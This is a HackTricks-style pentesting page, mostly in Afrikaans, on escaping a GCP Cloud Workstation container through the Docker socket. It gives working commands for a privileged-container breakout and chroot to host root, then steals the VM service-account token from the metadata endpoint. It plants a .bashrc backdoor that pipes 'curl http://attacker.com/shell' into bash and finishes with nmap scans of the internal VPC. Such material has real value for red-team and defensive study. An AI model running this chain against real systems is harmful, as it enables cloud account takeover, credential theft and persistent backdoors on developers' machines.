# GCP - Cloud Workstations Privesc

{{#include ../../../banners/hacktricks-training.md}}

### Container Breakout via Docker Socket (Container -> VM -> Project)

Die primêre privilege escalation-pad in Cloud Workstations spruit voort uit die behoefte om **Docker-in-Docker (DinD)** workflows vir ontwikkelaars te ondersteun. Wanneer die workstation-konfigurasie die Docker socket monteer of privileged containers toelaat (n algemene konfigurasie), kan n aanvaller binne die workstation-container na die onderliggende Compute Engine VM ontsnap en sy service account token steel.

**Prerequisites:**
- Toegang tot 'n Cloud Workstation-terminal (via SSH, gekompromitteerde sessie, of gesteelde inlogbewyse)
- Die workstation-konfigurasie moet `/var/run/docker.sock` monteer of privileged containers toelaat

Argitektuurskonteks: Die workstation is 'n container (Layer 3) wat op 'n Docker/Containerd runtime (Layer 2) op 'n GCE VM (Layer 1) loop. Die Docker socket bied direkte toegang tot die host se container runtime.

> [!NOTE]
> Die hulpmiddel [gcp-workstations-containerEscapeScript](https://github.com/AI-redteam/gcp-workstations-containerEscapeScript) automatiseer die volledige container escape en plaas jou in 'n root shell op die host VM.

<details>

<summary>Stap 1: Kontroleer vir Docker socket</summary>
```bash
# Verify the Docker socket is available
ls -l /var/run/docker.sock
# Expected output: srw-rw---- 1 root docker 0 ...
```
</details>

<details>

<summary>Stap 2: Ontsnap na die host VM-lêerstelsel</summary>

Ons loods 'n privileged container en mount die host se root directory na `/mnt/host`. Ons deel ook die host se network en PID namespace om sigbaarheid te maksimeer.
```bash
# Spawn a privileged container mounting the host's root filesystem
docker run -it --rm --privileged --net=host --pid=host \
-v /:/mnt/host \
alpine sh

# Inside the new container, chroot into the host
chroot /mnt/host /bin/bash
```
Jy het nou 'n **root shell op die onderliggende Compute Engine VM** (Laag 1).

</details>

<details>

<summary>Stap 3: Steel die VM service account token van IMDS</summary>
```bash
# From the host VM, query the Instance Metadata Service
curl -s -H "Metadata-Flavor: Google" \
http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token

# Check which service account is attached
curl -s -H "Metadata-Flavor: Google" \
http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/email

# Check scopes (CRITICAL STEP)
curl -s -H "Metadata-Flavor: Google" \
http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/scopes
```
</details>

> [!CAUTION]
> **Kontroleer die Scopes!**
> Selfs al is die aangehegte Service Account **Editor**, kan die VM deur access scopes beperk wees.
> As jy `https://www.googleapis.com/auth/cloud-platform` sien, het jy volle toegang.
> As jy slegs `logging.write` en `monitoring.write` sien, is jy beperk tot die **Network Pivot** en **Persistence** vectors hieronder.

<details>

<summary>Stap 4: Achieve Persistence (Backdoor the User)</summary>

Cloud Workstations mount a persistent disk to `/home/user`. Omdat die container user (gewoonlik `user`, UID 1000) ooreenstem met die host user (UID 1000), kan jy na die host se tuisgids skryf. Dit stel jou in staat om die omgewing te backdoor selfs al word die workstation container herbou.
```bash
# Check if you can write to the host's persistent home
ls -la /mnt/host/home/user/

# Drop a backdoor that executes next time the developer logs in
# Note: Do this from the container escape context
echo "curl http://attacker.com/shell | bash" >> /mnt/host/home/user/.bashrc
```
</details>

<details>

<summary>Step 5: Network Pivot (Internal VPC Access)</summary>

Aangesien jy die host network namespace (`--net=host`) deel, is jy nou 'n trusted node op die VPC. Jy kan scan vir interne dienste wat toegang toelaat gebaseer op IP whitelisting.
```bash
# Install scanning tools on the host (if internet access allows)
apk add nmap

# Scan the internal VPC subnet
nmap -sS -p 80,443,22 10.0.0.0/8
```
</details>



{{#include ../../../banners/hacktricks-training.md}}
